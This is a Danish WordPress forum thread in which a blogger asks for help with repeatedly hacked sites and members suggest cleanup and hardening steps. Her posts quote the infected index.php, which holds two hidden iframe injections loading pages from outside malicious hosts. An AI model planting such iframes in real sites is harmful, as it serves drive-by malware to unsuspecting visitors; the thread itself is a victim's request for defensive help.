Min blog bliver hele tiden hacket - hjæææælp!

WordPress DK Forum » Problemer efter installering

Min blog bliver hele tiden hacket - hjæææælp!

(21 indlæg) (6 voices)

Startet for 17 years siden af Helle
Seneste svar fra Helle
This topic is not a support question

Tags:

Ingen tags endnu.

Helle

Medlem
Joined: sep '09
Posts:
Reputation:

Hvad skal jeg gøre - min fars blog bliver hele tiden hacket. I kan se her nederst, hvad det er for en kode, der lægger sig ind i index filen:

<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);
<iframe src="http://gladishev.game-host.org:8080/ts/in.cgi?open9" width=592 height=0 style="visibility: hidden"></iframe>

Kommer det ind gennem themaet???
Er det mit webhotel hos one.com den er gal med?
Mangler jeg et "sikkerheds"-plugin af en eller anden art?

Er virkelig på den!

Jeg har smidt back-upen ind og overskrevet alle filer. Indexfilen ser rigtig ud igen, bloggen er dog endnu ikke kommet op - måske går der en tid???

Skrevet 17 years siden #
boldt

Senioradministrator
Joined: apr '08
Posts:
Reputation:

en gammel artikel på gigahost: https://gigahost.dk/blog/2008/06/14/wordpress-sikkerhedsfejl-forer-til-mange-hackede-blogs/

god ide fra den side er:
"
Fjern WP version fra meta tags

WordPress blogs bliver automatisk scannet af hackere efter version, på den måde er det nemmere at finde, og hacke, gamle blogs. WordPress bruger en meta tag til at vise hvilken version det er, der ser sådan ud:

< meta content="WordPress <?php bloginfo(’version’); ? />" name="generator" />

Du kan med fordel fjerne denne kode fra din header.php
"

Derudover er der nogle tips omkring .htacces, men læs hellere hele artiklen

Skrevet 17 years siden #
Frank

Supermedlem
Joined: mar '07
Posts:
Reputation:

Tror du skal slette alt, og uploade igen, hvis du ellers har backup af det hele.
Jeg har tidligere oplevet, at hackere havde oprettet nye mapper, som der blev peget på vha. htaccess-filer, hvilket startede ting op når siden blev besøgt.
Jeg er rimelig sikker på, at det ikke var pga. Wordpress, men andre CMS og manglende opdateringer, der gjorde at hackerne fik hul.

At ændre META-tags, som Boldt henviser til, er en uskik og kræver redigering hver gang man opdaterer. Det er bedre at altid at være opdateret til seneste version af Wordpress og plugins mv.

/Frank

Skrevet 17 years siden #
boldt

Senioradministrator
Joined: apr '08
Posts:
Reputation:

At ændre META-tags, som Boldt henviser til, er en uskik og kræver redigering hver gang man opdaterer. Det er bedre at altid at være opdateret til seneste version af Wordpress og plugins mv.

Det kan godt være!
Selvfølgelig skal man hold sin wordpress opdateret, men jeg kender ikke noget tema, som bliver opdateret -min fejl, men jeg er også gået over til at skrive mine egne.

Derudover, sikrer jeg min wordpres med:
* Akismet: http://akismet.com/ (spam filter)

* Bad Behavior: http://www.bad-behavior.ioerror.us/ (nægter spambots adgang)

* WP-Ban: http://lesterchan.net/portfolio/programming/php/ (hvor jeg har lukket for adgangen fra asiatiske, russiske samt nogle usa-nske ip'er)

Skrevet 17 years siden #
Helle

Medlem
Joined: sep '09
Posts:
Reputation:

Jeg har i hvert fald den nyeste version Wordpress, så jeg er opdateret.

Nu er det iøvrigt ikke bare min fars blog (www.ibmh.dk) der er hacket, men også min egen (www.helleshyggeblog.dk)

- det her er godt nok træls ... :-/

Skrevet 17 years siden #
Mark Thomas Gazel

Senioradministrator
Joined: maj '06
Posts:
Reputation:

Jeg synes ikke dine sider ser hacket ud.

Mark Thomas Gazel
"Jeg er ikke ung nok til at være erfaren" - Oscar Wilde
http://mark.gazel.dk

Skrevet 17 years siden #
Helle

Medlem
Joined: sep '09
Posts:
Reputation:

Nej, for jeg genuploadede min backup i aftes. Nu spekulerer jeg på, hvordan dette kan undgås.

Jeg har netop forsøgt at upgradere. Jeg upgraderede til 2.8.2 for en måned siden. Når jeg vil forsøge at upgradere igen nu, kommer denne fejl:

Fatal error: Allowed memory size of 25165824 bytes exhausted (tried to allocate 2610669 bytes) in /customers/helleshyggeblog.dk/helleshyggeblog.dk/httpd.www/wp-includes/http.php on line 1331[b]

Hvad betyder det?

Skrevet 17 years siden #
Helle

Medlem
Joined: sep '09
Posts:
Reputation:

Jeg har lige opdaget, at den fejl jeg skriver om herover (eller noget lignedene) står aller nederst på denne http://www.wordpress.dk's forside ...?!?!

Er der noget galt med den 2.8.4 vi sidder og forsøger at upgradere til?

Skrevet 17 years siden #
boldt

Senioradministrator
Joined: apr '08
Posts:
Reputation:

din fatal error er et hyppigt diskuteret emne her i dette forum:
http://wordpress.dk/forum/topic/poster-bliver-syge-parametre-forsvinder#post-7685
http://wordpress.dk/forum/topic/problem-med-handtering#post-6791
http://wordpress.dk/forum/topic/fatal-error-ved-upload-af-billeder#post-9659
http://wordpress.dk/forum/topic/fatal-error-efter-opdateringgenetablering#post-2219

Skrevet 17 years siden #
Helle

Medlem
Joined: sep '09
Posts:
Reputation:

Tak for linkene herover ...
Så er min blog hacket igen - og jeg skal for 4. gang på én uge hen og geninstallere min back up ...

Det her begynder at blive en anelse belastende. Hvis man ikke kan have sine ting i fred, derude på nettet, skulle man måske kaste sig over en anden hobby .... :-/

Hilsen Helle

http://www.helleshyggeblog.dk

Skrevet 17 years siden #
Mark Thomas Gazel

Senioradministrator
Joined: maj '06
Posts:
Reputation:

Jeg er ikke sikker på, du er hacket.

Hvilken udbyder bruger du?

Kan du poste linje 17 fra din index.php her?

Har du også problemer, hvis du ikke bruger plugins og aktiverer standardtemaet?

Skrevet 17 years siden #
Helle

Medlem
Joined: sep '09
Posts:
Reputation:

Min udbyder er one.com.
Jeg kan ikke finde ud af, at komme ind og aktivere standard temaet, når jeg ikke kan få adgang til mit kontrol panel.

Her kan du se koden, på fejl nr. 2 - den ligner meget, den fejl jeg starter med at beskrive herover:

<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-
<div style="display:none"><iframe src="http://adamovamonika.dontexist.net:8080/index.php" width=171 height=331 ></iframe></div>

Skrevet 17 years siden #
Mark Thomas Gazel

Senioradministrator
Joined: maj '06
Posts:
Reputation:

Du skal slette alt efter:

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?>

Så virker din side sikkert igen.

Alt det med "div style" har intet at gøre der.

I de fleste ftp-programmer kan du gøre det direkte på serveren. Højreklik > Edit. Ellers må du rette det lokalt og uploade det.

Skrevet 17 years siden #
Helle

Medlem
Joined: sep '09
Posts:
Reputation:

Tak. Det prøver jeg.
Har du nogen anelse om, hvordan det er kommet ind og hvordan jeg undgår det i fremtiden?

Skrevet 17 years siden #
Mark Thomas Gazel

Senioradministrator
Joined: maj '06
Posts:
Reputation:

Skift adgangskode til ftp. Men du skulle nok kontakte One, da de bør være interesseret i at fremmede fiset rundt på deres servere smider kode ind i index-filerne.

Skrevet 17 years siden #
Helle

Medlem
Joined: sep '09
Posts:
Reputation:

One.com har jeg allerede kontaktet. De siger bare det er et "Wordpress" hul, de ikke kan gøre noget ved :-/

Tak for hjælpen her.

Skrevet 17 years siden #
Mark Thomas Gazel

Senioradministrator
Joined: maj '06
Posts:
Reputation:

Hvis det er et WordPress-hul, så burde en opgradering til 2.8.4 løse problemet. Kombineret med at du skifter adgangskode til ftp.

Du bør også kikke alle dine index-filer igennem. Der kan gemme sig noget snavs, og det kan muligvis (her er jeg på lidt usikker grund) være en åbning for yderligere angreb. Kik i wp-content og wp-content/themes efter index-filer.

Skrevet 17 years siden #
boldt

Senioradministrator
Joined: apr '08
Posts:
Reputation:

kan man ikke sikre sin index.php ved at cmod =444 ?
(under ftp proporties, read only)

Skrevet 17 years siden #
Thomas Clausen

Supermedlem
Joined: mar '07
Posts:
Reputation:

Hej Helle

Der er jo mange veje der kan føre ind til at lege med dine filer. Ftp adgangen som Mark nævner er et godt sted at starte, men jeg synes også at du skal:
1. Oprette en ny administrator profil i WordPress
2. Slette din eksisterende administratorprofil, altså den som du logger ind med i øjeblikket.
3. Når du sletter din eksisterende, så spørger WordPress dig om hvorvidt der er nogen andre brugere, der skal overtage de indlæg som admin har skrevet.
4. Her vælger du så bare den nye administratorprofil.

Disse trin skal du gennemgå for alle dine admin-profiler.

Kig også om der er nogle brugere oprettet, som du ikke kender noget til, og slet dem. Overvej også om der er behov for at kunne registrere sig på dit site, hvis nej, så slå det fra under indstillinger.

Sælger lækkert design på designgrotten.dk. Hjælper med WordPress på babu.dk.

Skrevet 17 years siden #
Anders Saugstrup

Supermedlem
Joined: feb '08
Posts:
Reputation:

Hej Helle

Ordentlig omgang du har været uheldig at ryge ud i. Så uheldig er man heldigvis ikke normalt.

For at få ryddet ordentligt op en gang for alle, ville jeg, hvis jeg var dig, også skifte webhotel.

Du nævner her i tråden på et tidspunkt at du også løber ind i en fejl som skyldes at One.com vælger ikke at tildele deres kunder en ret høj PHP Memory Limit (Fatal error: Allowed memory size of 25165824 bytes exhausted).
Jeg aner ikke hvorfor One.com ikke ordner det problem for alle deres kunder, men det kan eller vil de altså ikke.

Når landet ligger sådan med både memory limit og problemer med angreb, er der efter min mening gode grunde til at tage besværet med at flytte det hele til en ny udbyder.

I den prisklasse synes jeg du skal vælge gigahost.dk eller unoeuro.com - begge kører godt med Wordpress. Surftown kunne også være et bud, men der skal du huske at installere Wordpress via deres kontrolpanel i stedet for via FTP, hvis alt skal spille.

Når du skifter webhotel, bør du:

-Starte med at downloade en fuld kopi af FTPen på din nuværende installation. Tag også en backup af databasen.

-Inde i admin skal du eksportere dine indlæg som en xml fil.

-Under oprettelsen af webhotel så sørg for at alle dine passwords til ftp og database er voldsomt svære. Du behøver ikke selv at kunne huske dem. Du kan i stedet skrive dem ned et sikkert sted.

-Når du installerer Wordpress på det nye webhotel så gør du det som en ren installation fra starten. Husk at slette admin-brugeren som det første derefter og lave en ny (med nyt login og kode som Thomas nævner).

-Upload mappen, uploads, som ligger i mappen wp-content fra din lokale kopi til FTPen.

-Importer dine indlæg fra xml-filen (sidste mulighed når du er inde under Importer i admin)

-Download dit valgte tema igen fra frisk og installer det.

Og så skulle det køre igen.

Min hjemmeside om Wordpress og Søgemaskineoptimering: http://www.saugstrup.org

Skrevet 17 years siden #
Helle

Medlem
Joined: sep '09
Posts:
Reputation:

1000 tak for hjælpen!

Jeg må gang med at forsøge mig, med de råd I giver.

Skrevet 17 years siden #

RSS feed for this topic

Svar

Du skal være logget ind for at skrive.